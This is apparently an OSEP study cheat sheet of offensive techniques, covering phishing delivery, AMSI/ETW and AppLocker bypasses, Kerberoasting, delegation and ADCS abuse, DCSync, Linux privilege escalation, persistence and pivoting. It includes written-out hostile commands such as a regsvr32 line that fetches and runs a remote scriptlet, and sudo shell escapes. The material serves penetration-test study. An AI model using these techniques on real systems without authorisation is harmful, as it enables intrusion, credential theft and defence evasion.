OSEP cheat sheet

Mark-of-the-Web is stored as an NTFS Zone.Identifier alternate data stream (ZoneId=3 for internet origin); Office honors it to block macros and force Protected View.

Windows 10+ mounts .iso/.img/.vhd files as a drive letter; on unpatched builds files inside the container carry no MOTW, so scripts and executables run without a Protected View prompt.

HTML smuggling assembles the payload in browser memory (Blob + URL.createObjectURL) and saves it to disk, so the binary never crosses the mail gateway - only the HTML/JS file is delivered.

Microsoft blocks VBA macros in MOTW-tagged files by default since 2022; stripping the Zone.Identifier stream or moving the file to a Trusted Location restores macro execution.

Common phishing container formats: .lnk, .iso/.img, .vhdx, .one, .hta, .wsf, .library-ms, .settingcontent-ms, .url, and password-protected .zip.

OAuth consent phishing needs only delegated permissions (Mail.Read, offline_access); no password is captured, so MFA does not stop it - conditional-access app-control policies do.

Device code flow: attacker calls /devicecode, sends the user_code to the victim; after the victim authenticates, the attacker polls /token and receives access and refresh tokens.

Password spray decision rule: attempts per round must stay below the domain lockout threshold (commonly 5-10), rotate the password between rounds, and watch badPwdCount.

Common initial-access surfaces: SSL-VPN appliances, Citrix/NetScaler, Exchange ProxyShell/ProxyLogon, Log4j, Confluence, and internet-exposed RDP/WinRM.

AMSI scans PowerShell, VBScript, JScript and .NET content before execution; bypasses are per-process and typically patch amsi.dll!AmsiScanBuffer so it returns 0 (AMSI_RESULT_CLEAN).

AMSI provider registration lives under HKLM\SOFTWARE\Microsoft\AMSI\Providers; deleting the key disables scanning for new processes but needs admin and generates telemetry.

ETW blinding: patch ntdll!EtwEventWrite to return early; this does not affect PowerShell ScriptBlock logging (Event ID 4104) or transcription, which must be checked separately.

AppLocker default rules allow everything under %ProgramFiles% and %Windir%; bypasses therefore require a signed binary in those paths or a writable subdirectory beneath them.

Squiblydoo: regsvr32.exe /s /n /u /i:http://host/payload.sct scrobj.dll executes a remote COM scriptlet with no disk write and is allowed by default AppLocker rules.

Signed-binary proxies: mshta (.hta/.vbs), rundll32 (url.dll JavaScript), installutil, msbuild (inline task in .proj), csc.exe compile-and-run, wmic /format:xsl, psr.exe, wsl.exe.

Direct syscalls (Hell's Gate, SysWhispers) resolve SSNs from ntdll and issue the syscall instruction from the caller's own code; indirect syscalls jump to the syscall instruction inside ntdll to appear legitimate.

ntdll unhooking: map a fresh copy from disk or the KnownDlls section, then overwrite the hooked .text region of the in-memory ntdll inside the current process.

WDAC is kernel-enforced and is not defeated by userland hooks or LOLBAS tricks; check CiTool and the CI policy registry keys before assuming an AppLocker-only posture.

Kerberoasting: any domain user can request a TGS for an SPN-bearing account; RC4-HMAC (etype 23) tickets crack fastest - hashcat -m 13100 - and no admin rights are needed.

AS-REP roasting requires DONT_REQ_PREAUTH on the target account; harvest with Rubeus asreproast or GetNPUsers and crack with hashcat -m 18200 (RC4) or -m 19900 (AES).

ACL abuse rights to enumerate: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, AddMember and AllExtendedRights on users, groups, computers and the domain object.

Unconstrained delegation hosts cache TGTs of anyone who authenticates; coerce a DC with PrinterBug (MS-RPRN) or PetitPotam (MS-EFSRPC), then extract the DC machine TGT from LSASS.

RBCD requires write access to the target's msDS-AllowedToActOnBehalfOfOtherIdentity plus a controlled computer account; chain S4U2Self then S4U2Proxy to impersonate a privileged user.

ADCS ESC1: template with ENROLLEE_SUPPLIES_SUBJECT, a Client Authentication EKU and low-privilege enrollment rights lets any user request a certificate with the SAN of a domain admin, then PKINIT to a TGT.

DCSync requires DS-Replication-Get-Changes and DS-Replication-Get-Changes-All; with those rights, secretsdump pulls hashes via DRSUAPI without executing code on a domain controller.

Relay prerequisites: the target must not require SMB signing (SMB relay) or LDAP signing/channel binding (LDAP relay); combine coercion with relay to AD CS HTTP enrollment (ESC8).

Local Windows escalation checklist: whoami /priv (SeImpersonate, SeBackup, SeDebug), unquoted service paths, weak service ACLs, AlwaysInstallElevated, and stored credentials via cmdkey, DPAPI or GPP cpassword.

Enumeration order: id; sudo -l; uname -a; find / -perm -4000 -type f 2>/dev/null; getcap -r / 2>/dev/null; cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers.

sudo NOPASSWD entries map to GTFOBins: sudo vim -> :!/bin/sh, sudo find -> -exec /bin/sh -p, sudo awk -> system('/bin/sh'), sudo less -> !sh.

For SUID binaries, check GTFOBins first, then readelf -d for relative RPATH - a relative library search path in a SUID binary permits shared-object hijacking.

File capabilities: cap_setuid+ep on any interpreter (python, perl, ruby) yields setuid(0); cap_dac_read_search reads /etc/shadow; cap_sys_admin permits mounts.

Persistence locations: user crontab and /etc/cron.d, systemd unit plus timer, ~/.bashrc or ~/.profile, /etc/ld.so.preload, ~/.ssh/authorized_keys, PAM module edits, /etc/rc.local.

Container escape: a privileged container can mount the host disk; an exposed docker.sock allows docker run -v /:/host; CAP_SYS_ADMIN enables the cgroup release_agent technique.

Pivoting tools: ssh -D 1080 for SOCKS, chisel server --reverse with a client, ligolo-ng TUN interface, socat TCP-LISTEN,fork relays; proxychains-ng for TCP-only tools.

Kernel and package exploits by version: PwnKit (pkexec, CVE-2021-4034), DirtyPipe (5.8-5.16.11, CVE-2022-0847), Dirty COW (2.6.22-4.8.3), Baron Samedit (sudo 1.8.0-1.9.5p1).

Log artifacts to consider: /var/log/auth.log, /var/log/secure, wtmp/btmp/lastlog via last and lastb, auditd, and journald; utmpdump renders wtmp in readable text.